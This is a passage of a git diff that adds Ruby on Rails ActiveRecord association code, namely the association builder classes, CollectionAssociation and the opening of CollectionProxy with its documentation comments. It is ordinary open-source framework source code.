+      ActiveRecord::Reflection.create(macro, name, scope, options, model)
+    end
+
+    def self.build_scope(scope, extension)
+      new_scope = scope
+
+      if scope && scope.arity == 0
+        new_scope = proc { instance_exec(&scope) }
+      end
+
+      if extension
+        new_scope = wrap_scope new_scope, extension
+      end
+
+      new_scope
+    end
+
+    def self.wrap_scope(scope, extension)
+      scope
+    end
+
+    def self.macro
+      raise NotImplementedError
+    end
+
+    def self.valid_options(options)
+      VALID_OPTIONS + Association.extensions.flat_map(&:valid_options)
+    end
+
+    def self.validate_options(options)
+      options.assert_valid_keys(valid_options(options))
+    end
+
+    def self.define_extensions(model, name)
+    end
+
+    def self.define_callbacks(model, reflection)
+      if dependent = reflection.options[:dependent]
+        check_dependent_options(dependent)
+        add_destroy_callbacks(model, reflection)
+      end
+
+      Association.extensions.each do |extension|
+        extension.build model, reflection
+      end
+    end
+
+    # Defines the setter and getter methods for the association
+    # class Post < ActiveRecord::Base
+    #   has_many :comments
+    # end
+    #
+    # Post.first.comments and Post.first.comments= methods are defined by this method...
+    def self.define_accessors(model, reflection)
+      mixin = model.generated_association_methods
+      name = reflection.name
+      define_readers(mixin, name)
+      define_writers(mixin, name)
+    end
+
+    def self.define_readers(mixin, name)
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name}(*args)
+          association(:#{name}).reader(*args)
+        end
+      CODE
+    end
+
+    def self.define_writers(mixin, name)
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name}=(value)
+          association(:#{name}).writer(value)
+        end
+      CODE
+    end
+
+    def self.define_validations(model, reflection)
+      # noop
+    end
+
+    def self.valid_dependent_options
+      raise NotImplementedError
+    end
+
+    def self.check_dependent_options(dependent)
+      unless valid_dependent_options.include? dependent
+        raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{dependent}"
+      end
+    end
+
+    def self.add_destroy_callbacks(model, reflection)
+      name = reflection.name
+      model.before_destroy lambda { |o| o.association(name).handle_dependency }
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
new file mode 100644
index 0000000000..9904ee4bed
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -0,0 +1,150 @@
+# frozen_string_literal: true
+
+module ActiveRecord::Associations::Builder # :nodoc:
+  class BelongsTo < SingularAssociation #:nodoc:
+    def self.macro
+      :belongs_to
+    end
+
+    def self.valid_options(options)
+      super + [:polymorphic, :touch, :counter_cache, :optional, :default]
+    end
+
+    def self.valid_dependent_options
+      [:destroy, :delete]
+    end
+
+    def self.define_callbacks(model, reflection)
+      super
+      add_counter_cache_callbacks(model, reflection) if reflection.options[:counter_cache]
+      add_touch_callbacks(model, reflection)         if reflection.options[:touch]
+      add_default_callbacks(model, reflection)       if reflection.options[:default]
+    end
+
+    def self.define_accessors(mixin, reflection)
+      super
+      add_counter_cache_methods mixin
+    end
+
+    def self.add_counter_cache_methods(mixin)
+      return if mixin.method_defined? :belongs_to_counter_cache_after_update
+
+      mixin.class_eval do
+        def belongs_to_counter_cache_after_update(reflection)
+          foreign_key  = reflection.foreign_key
+          cache_column = reflection.counter_cache_column
+
+          if (@_after_replace_counter_called ||= false)
+            @_after_replace_counter_called = false
+          elsif saved_change_to_attribute?(foreign_key) && !new_record?
+            if reflection.polymorphic?
+              model     = attribute_in_database(reflection.foreign_type).try(:constantize)
+              model_was = attribute_before_last_save(reflection.foreign_type).try(:constantize)
+            else
+              model     = reflection.klass
+              model_was = reflection.klass
+            end
+
+            foreign_key_was = attribute_before_last_save foreign_key
+            foreign_key     = attribute_in_database foreign_key
+
+            if foreign_key && model.respond_to?(:increment_counter)
+              model.increment_counter(cache_column, foreign_key)
+            end
+
+            if foreign_key_was && model_was.respond_to?(:decrement_counter)
+              model_was.decrement_counter(cache_column, foreign_key_was)
+            end
+          end
+        end
+      end
+    end
+
+    def self.add_counter_cache_callbacks(model, reflection)
+      cache_column = reflection.counter_cache_column
+
+      model.after_update lambda { |record|
+        record.belongs_to_counter_cache_after_update(reflection)
+      }
+
+      klass = reflection.class_name.safe_constantize
+      klass.attr_readonly cache_column if klass && klass.respond_to?(:attr_readonly)
+    end
+
+    def self.touch_record(o, changes, foreign_key, name, touch, touch_method) # :nodoc:
+      old_foreign_id = changes[foreign_key] && changes[foreign_key].first
+
+      if old_foreign_id
+        association = o.association(name)
+        reflection = association.reflection
+        if reflection.polymorphic?
+          foreign_type = reflection.foreign_type
+          klass = changes[foreign_type] && changes[foreign_type].first || o.public_send(foreign_type)
+          klass = klass.constantize
+        else
+          klass = association.klass
+        end
+        old_record = klass.find_by(klass.primary_key => old_foreign_id)
+
+        if old_record
+          if touch != true
+            old_record.send(touch_method, touch)
+          else
+            old_record.send(touch_method)
+          end
+        end
+      end
+
+      record = o.send name
+      if record && record.persisted?
+        if touch != true
+          record.send(touch_method, touch)
+        else
+          record.send(touch_method)
+        end
+      end
+    end
+
+    def self.add_touch_callbacks(model, reflection)
+      foreign_key = reflection.foreign_key
+      n           = reflection.name
+      touch       = reflection.options[:touch]
+
+      callback = lambda { |changes_method| lambda { |record|
+        BelongsTo.touch_record(record, record.send(changes_method), foreign_key, n, touch, belongs_to_touch_method)
+      }}
+
+      model.after_save    callback.(:saved_changes), if: :saved_changes?
+      model.after_touch   callback.(:changes_to_save)
+      model.after_destroy callback.(:changes_to_save)
+    end
+
+    def self.add_default_callbacks(model, reflection)
+      model.before_validation lambda { |o|
+        o.association(reflection.name).default(&reflection.options[:default])
+      }
+    end
+
+    def self.add_destroy_callbacks(model, reflection)
+      model.after_destroy lambda { |o| o.association(reflection.name).handle_dependency }
+    end
+
+    def self.define_validations(model, reflection)
+      if reflection.options.key?(:required)
+        reflection.options[:optional] = !reflection.options.delete(:required)
+      end
+
+      if reflection.options[:optional].nil?
+        required = model.belongs_to_required_by_default
+      else
+        required = !reflection.options[:optional]
+      end
+
+      super
+
+      if required
+        model.validates_presence_of reflection.name, message: :required
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb
new file mode 100644
index 0000000000..753fde5146
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/collection_association.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require_relative "../../associations"
+
+module ActiveRecord::Associations::Builder # :nodoc:
+  class CollectionAssociation < Association #:nodoc:
+    CALLBACKS = [:before_add, :after_add, :before_remove, :after_remove]
+
+    def self.valid_options(options)
+      super + [:table_name, :before_add,
+               :after_add, :before_remove, :after_remove, :extend]
+    end
+
+    def self.define_callbacks(model, reflection)
+      super
+      name    = reflection.name
+      options = reflection.options
+      CALLBACKS.each { |callback_name|
+        define_callback(model, callback_name, name, options)
+      }
+    end
+
+    def self.define_extensions(model, name)
+      if block_given?
+        extension_module_name = "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
+        extension = Module.new(&Proc.new)
+        model.parent.const_set(extension_module_name, extension)
+      end
+    end
+
+    def self.define_callback(model, callback_name, name, options)
+      full_callback_name = "#{callback_name}_for_#{name}"
+
+      # TODO : why do i need method_defined? I think its because of the inheritance chain
+      model.class_attribute full_callback_name unless model.method_defined?(full_callback_name)
+      callbacks = Array(options[callback_name.to_sym]).map do |callback|
+        case callback
+        when Symbol
+          ->(method, owner, record) { owner.send(callback, record) }
+        when Proc
+          ->(method, owner, record) { callback.call(owner, record) }
+        else
+          ->(method, owner, record) { callback.send(method, owner, record) }
+        end
+      end
+      model.send "#{full_callback_name}=", callbacks
+    end
+
+    # Defines the setter and getter methods for the collection_singular_ids.
+    def self.define_readers(mixin, name)
+      super
+
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name.to_s.singularize}_ids
+          association(:#{name}).ids_reader
+        end
+      CODE
+    end
+
+    def self.define_writers(mixin, name)
+      super
+
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name.to_s.singularize}_ids=(ids)
+          association(:#{name}).ids_writer(ids)
+        end
+      CODE
+    end
+
+    def self.wrap_scope(scope, mod)
+      if scope
+        if scope.arity > 0
+          proc { |owner| instance_exec(owner, &scope).extending(mod) }
+        else
+          proc { instance_exec(&scope).extending(mod) }
+        end
+      else
+        proc { extending(mod) }
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
new file mode 100644
index 0000000000..12fcfbcd45
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
@@ -0,0 +1,135 @@
+# frozen_string_literal: true
+
+module ActiveRecord::Associations::Builder # :nodoc:
+  class HasAndBelongsToMany # :nodoc:
+    class JoinTableResolver # :nodoc:
+      KnownTable = Struct.new :join_table
+
+      class KnownClass # :nodoc:
+        def initialize(lhs_class, rhs_class_name)
+          @lhs_class      = lhs_class
+          @rhs_class_name = rhs_class_name
+          @join_table     = nil
+        end
+
+        def join_table
+          @join_table ||= [@lhs_class.table_name, klass.table_name].sort.join("\0").gsub(/^(.*[._])(.+)\0\1(.+)/, '\1\2_\3').tr("\0", "_")
+        end
+
+        private
+
+          def klass
+            @lhs_class.send(:compute_type, @rhs_class_name)
+          end
+      end
+
+      def self.build(lhs_class, name, options)
+        if options[:join_table]
+          KnownTable.new options[:join_table].to_s
+        else
+          class_name = options.fetch(:class_name) {
+            name.to_s.camelize.singularize
+          }
+          KnownClass.new lhs_class, class_name.to_s
+        end
+      end
+    end
+
+    attr_reader :lhs_model, :association_name, :options
+
+    def initialize(association_name, lhs_model, options)
+      @association_name = association_name
+      @lhs_model = lhs_model
+      @options = options
+    end
+
+    def through_model
+      habtm = JoinTableResolver.build lhs_model, association_name, options
+
+      join_model = Class.new(ActiveRecord::Base) {
+        class << self;
+          attr_accessor :left_model
+          attr_accessor :name
+          attr_accessor :table_name_resolver
+          attr_accessor :left_reflection
+          attr_accessor :right_reflection
+        end
+
+        def self.table_name
+          table_name_resolver.join_table
+        end
+
+        def self.compute_type(class_name)
+          left_model.compute_type class_name
+        end
+
+        def self.add_left_association(name, options)
+          belongs_to name, required: false, **options
+          self.left_reflection = _reflect_on_association(name)
+        end
+
+        def self.add_right_association(name, options)
+          rhs_name = name.to_s.singularize.to_sym
+          belongs_to rhs_name, required: false, **options
+          self.right_reflection = _reflect_on_association(rhs_name)
+        end
+
+        def self.retrieve_connection
+          left_model.retrieve_connection
+        end
+
+        private
+
+          def self.suppress_composite_primary_key(pk)
+            pk unless pk.is_a?(Array)
+          end
+      }
+
+      join_model.name                = "HABTM_#{association_name.to_s.camelize}"
+      join_model.table_name_resolver = habtm
+      join_model.left_model          = lhs_model
+
+      join_model.add_left_association :left_side, anonymous_class: lhs_model
+      join_model.add_right_association association_name, belongs_to_options(options)
+      join_model
+    end
+
+    def middle_reflection(join_model)
+      middle_name = [lhs_model.name.downcase.pluralize,
+                     association_name].join("_".freeze).gsub("::".freeze, "_".freeze).to_sym
+      middle_options = middle_options join_model
+
+      HasMany.create_reflection(lhs_model,
+                                middle_name,
+                                nil,
+                                middle_options)
+    end
+
+    private
+
+      def middle_options(join_model)
+        middle_options = {}
+        middle_options[:class_name] = "#{lhs_model.name}::#{join_model.name}"
+        middle_options[:source] = join_model.left_reflection.name
+        if options.key? :foreign_key
+          middle_options[:foreign_key] = options[:foreign_key]
+        end
+        middle_options
+      end
+
+      def belongs_to_options(options)
+        rhs_options = {}
+
+        if options.key? :class_name
+          rhs_options[:foreign_key] = options[:class_name].to_s.foreign_key
+          rhs_options[:class_name] = options[:class_name]
+        end
+
+        if options.key? :association_foreign_key
+          rhs_options[:foreign_key] = options[:association_foreign_key]
+        end
+
+        rhs_options
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb
new file mode 100644
index 0000000000..5b9617bc6d
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/has_many.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord::Associations::Builder # :nodoc:
+  class HasMany < CollectionAssociation #:nodoc:
+    def self.macro
+      :has_many
+    end
+
+    def self.valid_options(options)
+      super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache, :join_table, :foreign_type, :index_errors]
+    end
+
+    def self.valid_dependent_options
+      [:destroy, :delete_all, :nullify, :restrict_with_error, :restrict_with_exception]
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb
new file mode 100644
index 0000000000..bfb37d6eee
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/has_one.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ActiveRecord::Associations::Builder # :nodoc:
+  class HasOne < SingularAssociation #:nodoc:
+    def self.macro
+      :has_one
+    end
+
+    def self.valid_options(options)
+      valid = super + [:as]
+      valid += [:through, :source, :source_type] if options[:through]
+      valid
+    end
+
+    def self.valid_dependent_options
+      [:destroy, :delete, :nullify, :restrict_with_error, :restrict_with_exception]
+    end
+
+    def self.add_destroy_callbacks(model, reflection)
+      super unless reflection.options[:through]
+    end
+
+    def self.define_validations(model, reflection)
+      super
+      if reflection.options[:required]
+        model.validates_presence_of reflection.name, message: :required
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
new file mode 100644
index 0000000000..0a02ef4cc1
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+# This class is inherited by the has_one and belongs_to association classes
+
+module ActiveRecord::Associations::Builder # :nodoc:
+  class SingularAssociation < Association #:nodoc:
+    def self.valid_options(options)
+      super + [:foreign_type, :dependent, :primary_key, :inverse_of, :required]
+    end
+
+    def self.define_accessors(model, reflection)
+      super
+      mixin = model.generated_association_methods
+      name = reflection.name
+
+      define_constructors(mixin, name) if reflection.constructable?
+
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def reload_#{name}
+          association(:#{name}).force_reload_reader
+        end
+      CODE
+    end
+
+    # Defines the (build|create)_association methods for belongs_to or has_one association
+    def self.define_constructors(mixin, name)
+      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def build_#{name}(*args, &block)
+          association(:#{name}).build(*args, &block)
+        end
+
+        def create_#{name}(*args, &block)
+          association(:#{name}).create(*args, &block)
+        end
+
+        def create_#{name}!(*args, &block)
+          association(:#{name}).create!(*args, &block)
+        end
+      CODE
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
new file mode 100644
index 0000000000..ed2e6d1ae4
--- /dev/null
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -0,0 +1,506 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    # = Active Record Association Collection
+    #
+    # CollectionAssociation is an abstract class that provides common stuff to
+    # ease the implementation of association proxies that represent
+    # collections. See the class hierarchy in Association.
+    #
+    #   CollectionAssociation:
+    #     HasManyAssociation => has_many
+    #       HasManyThroughAssociation + ThroughAssociation => has_many :through
+    #
+    # The CollectionAssociation class provides common methods to the collections
+    # defined by +has_and_belongs_to_many+, +has_many+ or +has_many+ with
+    # the +:through association+ option.
+    #
+    # You need to be careful with assumptions regarding the target: The proxy
+    # does not fetch records from the database until it needs them, but new
+    # ones created with +build+ are added to the target. So, the target may be
+    # non-empty and still lack children waiting to be read from the database.
+    # If you look directly to the database you cannot assume that's the entire
+    # collection because new records may have been added to the target, etc.
+    #
+    # If you need to work on all current children, new and existing records,
+    # +load_target+ and the +loaded+ flag are your friends.
+    class CollectionAssociation < Association #:nodoc:
+      # Implements the reader method, e.g. foo.items for Foo.has_many :items
+      def reader
+        if stale_target?
+          reload
+        end
+
+        @proxy ||= CollectionProxy.create(klass, self)
+        @proxy.reset_scope
+      end
+
+      # Implements the writer method, e.g. foo.items= for Foo.has_many :items
+      def writer(records)
+        replace(records)
+      end
+
+      # Implements the ids reader method, e.g. foo.item_ids for Foo.has_many :items
+      def ids_reader
+        if loaded?
+          target.pluck(reflection.association_primary_key)
+        else
+          @association_ids ||= scope.pluck(reflection.association_primary_key)
+        end
+      end
+
+      # Implements the ids writer method, e.g. foo.item_ids= for Foo.has_many :items
+      def ids_writer(ids)
+        pk_type = reflection.association_primary_key_type
+        ids = Array(ids).reject(&:blank?)
+        ids.map! { |i| pk_type.cast(i) }
+        records = klass.where(reflection.association_primary_key => ids).index_by do |r|
+          r.send(reflection.association_primary_key)
+        end.values_at(*ids).compact
+        if records.size != ids.size
+          klass.all.raise_record_not_found_exception!(ids, records.size, ids.size, reflection.association_primary_key)
+        else
+          replace(records)
+        end
+      end
+
+      def reset
+        super
+        @target = []
+        @association_ids = nil
+      end
+
+      def find(*args)
+        if block_given?
+          load_target.find(*args) { |*block_args| yield(*block_args) }
+        else
+          if options[:inverse_of] && loaded?
+            args_flatten = args.flatten
+            raise RecordNotFound, "Couldn't find #{scope.klass.name} without an ID" if args_flatten.blank?
+            result = find_by_scan(*args)
+
+            result_size = Array(result).size
+            if !result || result_size != args_flatten.size
+              scope.raise_record_not_found_exception!(args_flatten, result_size, args_flatten.size)
+            else
+              result
+            end
+          else
+            scope.find(*args)
+          end
+        end
+      end
+
+      def build(attributes = {}, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| build(attr, &block) }
+        else
+          add_to_target(build_record(attributes)) do |record|
+            yield(record) if block_given?
+          end
+        end
+      end
+
+      # Add +records+ to this association. Returns +self+ so method calls may
+      # be chained. Since << flattens its argument list and inserts each record,
+      # +push+ and +concat+ behave identically.
+      def concat(*records)
+        records = records.flatten
+        if owner.new_record?
+          load_target
+          concat_records(records)
+        else
+          transaction { concat_records(records) }
+        end
+      end
+
+      # Starts a transaction in the association class's database connection.
+      #
+      #   class Author < ActiveRecord::Base
+      #     has_many :books
+      #   end
+      #
+      #   Author.first.books.transaction do
+      #     # same effect as calling Book.transaction
+      #   end
+      def transaction(*args)
+        reflection.klass.transaction(*args) do
+          yield
+        end
+      end
+
+      # Removes all records from the association without calling callbacks
+      # on the associated records. It honors the +:dependent+ option. However
+      # if the +:dependent+ value is +:destroy+ then in that case the +:delete_all+
+      # deletion strategy for the association is applied.
+      #
+      # You can force a particular deletion strategy by passing a parameter.
+      #
+      # Example:
+      #
+      # @author.books.delete_all(:nullify)
+      # @author.books.delete_all(:delete_all)
+      #
+      # See delete for more info.
+      def delete_all(dependent = nil)
+        if dependent && ![:nullify, :delete_all].include?(dependent)
+          raise ArgumentError, "Valid values are :nullify or :delete_all"
+        end
+
+        dependent = if dependent
+          dependent
+        elsif options[:dependent] == :destroy
+          :delete_all
+        else
+          options[:dependent]
+        end
+
+        delete_or_nullify_all_records(dependent).tap do
+          reset
+          loaded!
+        end
+      end
+
+      # Destroy all the records from this association.
+      #
+      # See destroy for more info.
+      def destroy_all
+        destroy(load_target).tap do
+          reset
+          loaded!
+        end
+      end
+
+      # Removes +records+ from this association calling +before_remove+ and
+      # +after_remove+ callbacks.
+      #
+      # This method is abstract in the sense that +delete_records+ has to be
+      # provided by descendants. Note this method does not imply the records
+      # are actually removed from the database, that depends precisely on
+      # +delete_records+. They are in any case removed from the collection.
+      def delete(*records)
+        return if records.empty?
+        records = find(records) if records.any? { |record| record.kind_of?(Integer) || record.kind_of?(String) }
+        delete_or_destroy(records, options[:dependent])
+      end
+
+      # Deletes the +records+ and removes them from this association calling
+      # +before_remove+ , +after_remove+ , +before_destroy+ and +after_destroy+ callbacks.
+      #
+      # Note that this method removes records from the database ignoring the
+      # +:dependent+ option.
+      def destroy(*records)
+        return if records.empty?
+        records = find(records) if records.any? { |record| record.kind_of?(Integer) || record.kind_of?(String) }
+        delete_or_destroy(records, :destroy)
+      end
+
+      # Returns the size of the collection by executing a SELECT COUNT(*)
+      # query if the collection hasn't been loaded, and calling
+      # <tt>collection.size</tt> if it has.
+      #
+      # If the collection has been already loaded +size+ and +length+ are
+      # equivalent. If not and you are going to need the records anyway
+      # +length+ will take one less query. Otherwise +size+ is more efficient.
+      #
+      # This method is abstract in the sense that it relies on
+      # +count_records+, which is a method descendants have to provide.
+      def size
+        if !find_target? || loaded?
+          target.size
+        elsif !association_scope.group_values.empty?
+          load_target.size
+        elsif !association_scope.distinct_value && target.is_a?(Array)
+          unsaved_records = target.select(&:new_record?)
+          unsaved_records.size + count_records
+        else
+          count_records
+        end
+      end
+
+      # Returns true if the collection is empty.
+      #
+      # If the collection has been loaded
+      # it is equivalent to <tt>collection.size.zero?</tt>. If the
+      # collection has not been loaded, it is equivalent to
+      # <tt>collection.exists?</tt>. If the collection has not already been
+      # loaded and you are going to fetch the records anyway it is better to
+      # check <tt>collection.length.zero?</tt>.
+      def empty?
+        if loaded?
+          size.zero?
+        else
+          @target.blank? && !scope.exists?
+        end
+      end
+
+      # Replace this collection with +other_array+. This will perform a diff
+      # and delete/add only records that have changed.
+      def replace(other_array)
+        other_array.each { |val| raise_on_type_mismatch!(val) }
+        original_target = load_target.dup
+
+        if owner.new_record?
+          replace_records(other_array, original_target)
+        else
+          replace_common_records_in_memory(other_array, original_target)
+          if other_array != original_target
+            transaction { replace_records(other_array, original_target) }
+          else
+            other_array
+          end
+        end
+      end
+
+      def include?(record)
+        if record.is_a?(reflection.klass)
+          if record.new_record?
+            include_in_memory?(record)
+          else
+            loaded? ? target.include?(record) : scope.exists?(record.id)
+          end
+        else
+          false
+        end
+      end
+
+      def load_target
+        if find_target?
+          @target = merge_target_lists(find_target, target)
+        end
+
+        loaded!
+        target
+      end
+
+      def add_to_target(record, skip_callbacks = false, &block)
+        if association_scope.distinct_value
+          index = @target.index(record)
+        end
+        replace_on_target(record, index, skip_callbacks, &block)
+      end
+
+      def scope
+        scope = super
+        scope.none! if null_scope?
+        scope
+      end
+
+      def null_scope?
+        owner.new_record? && !foreign_key_present?
+      end
+
+      def find_from_target?
+        loaded? ||
+          owner.new_record? ||
+          target.any? { |record| record.new_record? || record.changed? }
+      end
+
+      private
+
+        def find_target
+          scope = self.scope
+          return scope.to_a if skip_statement_cache?(scope)
+
+          conn = klass.connection
+          sc = reflection.association_scope_cache(conn, owner) do
+            StatementCache.create(conn) { |params|
+              as = AssociationScope.create { params.bind }
+              target_scope.merge!(as.scope(self))
+            }
+          end
+
+          binds = AssociationScope.get_bind_values(owner, reflection.chain)
+          sc.execute(binds, klass, conn) do |record|
+            set_inverse_instance(record)
+          end
+        end
+
+        # We have some records loaded from the database (persisted) and some that are
+        # in-memory (memory). The same record may be represented in the persisted array
+        # and in the memory array.
+        #
+        # So the task of this method is to merge them according to the following rules:
+        #
+        #   * The final array must not have duplicates
+        #   * The order of the persisted array is to be preserved
+        #   * Any changes made to attributes on objects in the memory array are to be preserved
+        #   * Otherwise, attributes should have the value found in the database
+        def merge_target_lists(persisted, memory)
+          return persisted if memory.empty?
+          return memory    if persisted.empty?
+
+          persisted.map! do |record|
+            if mem_record = memory.delete(record)
+
+              ((record.attribute_names & mem_record.attribute_names) - mem_record.changed_attribute_names_to_save).each do |name|
+                mem_record[name] = record[name]
+              end
+
+              mem_record
+            else
+              record
+            end
+          end
+
+          persisted + memory
+        end
+
+        def _create_record(attributes, raise = false, &block)
+          unless owner.persisted?
+            raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
+          end
+
+          if attributes.is_a?(Array)
+            attributes.collect { |attr| _create_record(attr, raise, &block) }
+          else
+            transaction do
+              add_to_target(build_record(attributes)) do |record|
+                yield(record) if block_given?
+                insert_record(record, true, raise) {
+                  @_was_loaded = loaded?
+                  @association_ids = nil
+                }
+              end
+            end
+          end
+        end
+
+        # Do the relevant stuff to insert the given record into the association collection.
+        def insert_record(record, validate = true, raise = false, &block)
+          if raise
+            record.save!(validate: validate, &block)
+          else
+            record.save(validate: validate, &block)
+          end
+        end
+
+        def delete_or_destroy(records, method)
+          records = records.flatten
+          records.each { |record| raise_on_type_mismatch!(record) }
+          existing_records = records.reject(&:new_record?)
+
+          if existing_records.empty?
+            remove_records(existing_records, records, method)
+          else
+            transaction { remove_records(existing_records, records, method) }
+          end
+        end
+
+        def remove_records(existing_records, records, method)
+          records.each { |record| callback(:before_remove, record) }
+
+          delete_records(existing_records, method) if existing_records.any?
+          records.each { |record| target.delete(record) }
+
+          records.each { |record| callback(:after_remove, record) }
+        end
+
+        # Delete the given records from the association,
+        # using one of the methods +:destroy+, +:delete_all+
+        # or +:nullify+ (or +nil+, in which case a default is used).
+        def delete_records(records, method)
+          raise NotImplementedError
+        end
+
+        def replace_records(new_target, original_target)
+          delete(target - new_target)
+
+          unless concat(new_target - target)
+            @target = original_target
+            raise RecordNotSaved, "Failed to replace #{reflection.name} because one or more of the " \
+                                  "new records could not be saved."
+          end
+
+          target
+        end
+
+        def replace_common_records_in_memory(new_target, original_target)
+          common_records = new_target & original_target
+          common_records.each do |record|
+            skip_callbacks = true
+            replace_on_target(record, @target.index(record), skip_callbacks)
+          end
+        end
+
+        def concat_records(records, raise = false)
+          result = true
+
+          records.each do |record|
+            raise_on_type_mismatch!(record)
+            add_to_target(record) do
+              unless owner.new_record?
+                result &&= insert_record(record, true, raise) {
+                  @_was_loaded = loaded?
+                  @association_ids = nil
+                }
+              end
+            end
+          end
+
+          result && records
+        end
+
+        def replace_on_target(record, index, skip_callbacks)
+          callback(:before_add, record) unless skip_callbacks
+
+          set_inverse_instance(record)
+
+          @_was_loaded = true
+
+          yield(record) if block_given?
+
+          if index
+            target[index] = record
+          elsif @_was_loaded || !loaded?
+            target << record
+          end
+
+          callback(:after_add, record) unless skip_callbacks
+
+          record
+        ensure
+          @_was_loaded = nil
+        end
+
+        def callback(method, record)
+          callbacks_for(method).each do |callback|
+            callback.call(method, owner, record)
+          end
+        end
+
+        def callbacks_for(callback_name)
+          full_callback_name = "#{callback_name}_for_#{reflection.name}"
+          owner.class.send(full_callback_name)
+        end
+
+        def include_in_memory?(record)
+          if reflection.is_a?(ActiveRecord::Reflection::ThroughReflection)
+            assoc = owner.association(reflection.through_reflection.name)
+            assoc.reader.any? { |source|
+              target_reflection = source.send(reflection.source_reflection.name)
+              target_reflection.respond_to?(:include?) ? target_reflection.include?(record) : target_reflection == record
+            } || target.include?(record)
+          else
+            target.include?(record)
+          end
+        end
+
+        # If the :inverse_of option has been
+        # specified, then #find scans the entire collection.
+        def find_by_scan(*args)
+          expects_array = args.first.kind_of?(Array)
+          ids           = args.flatten.compact.map(&:to_s).uniq
+
+          if ids.size == 1
+            id = ids.first
+            record = load_target.detect { |r| id == r.id.to_s }
+            expects_array ? [ record ] : record
+          else
+            load_target.select { |r| ids.include?(r.id.to_s) }
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
new file mode 100644
index 0000000000..0678b07699
--- /dev/null
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -0,0 +1,1158 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    # Association proxies in Active Record are middlemen between the object that
+    # holds the association, known as the <tt>@owner</tt>, and the actual associated
+    # object, known as the <tt>@target</tt>. The kind of association any proxy is
+    # about is available in <tt>@reflection</tt>. That's an instance of the class
+    # ActiveRecord::Reflection::AssociationReflection.
+    #
+    # For example, given
+    #
+    #   class Blog < ActiveRecord::Base
+    #     has_many :posts
+    #   end
+    #
+    #   blog = Blog.first
+    #
+    # the association proxy in <tt>blog.posts</tt> has the object in +blog+ as
+    # <tt>@owner</tt>, the collection of its posts as <tt>@target</tt>, and
+    # the <tt>@reflection</tt> object represents a <tt>:has_many</tt> macro.
+    #
+    # This class delegates unknown methods to <tt>@target</tt> via
+    # <tt>method_missing</tt>.
+    #
+    # The <tt>@target</tt> object is not \loaded until needed. For example,
+    #
+    #   blog.posts.count
+    #
+    # is computed directly through SQL and does not trigger by itself the
+    # instantiation of the actual post records.
+    class CollectionProxy < Relation
+      def initialize(klass, association) #:nodoc:
+        @association = association
+        super klass, klass.arel_table, klass.predicate_builder
+
+        extensions = association.extensions
+        extend(*extensions) if extensions.any?
+      end
+
+      def target
+        @association.target
+      end
+
+      def load_target
+        @association.load_target
+      end
+
+      # Returns +true+ if the association has been loaded, otherwise +false+.
+      #
+      #   person.pets.loaded? # => false
+      #   person.pets
+      #   person.pets.loaded? # => true
+      def loaded?
+        @association.loaded?
+      end
+
+      ##
+      # :method: select
+      #
+      # :call-seq:
+      #   select(*fields, &block)
+      #
+      # Works in two ways.
+      #
+      # *First:* Specify a subset of fields to be selected from the result set.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.select(:name)
+      #   # => [
+      #   #      #<Pet id: nil, name: "Fancy-Fancy">,
+      #   #      #<Pet id: nil, name: "Spook">,
+      #   #      #<Pet id: nil, name: "Choo-Choo">
+      #   #    ]
+      #
+      #   person.pets.select(:id, :name)
+      #   # => [
+      #   #      #<Pet id: 1, name: "Fancy-Fancy">,
+      #   #      #<Pet id: 2, name: "Spook">,
+      #   #      #<Pet id: 3, name: "Choo-Choo">
+      #   #    ]
+      #
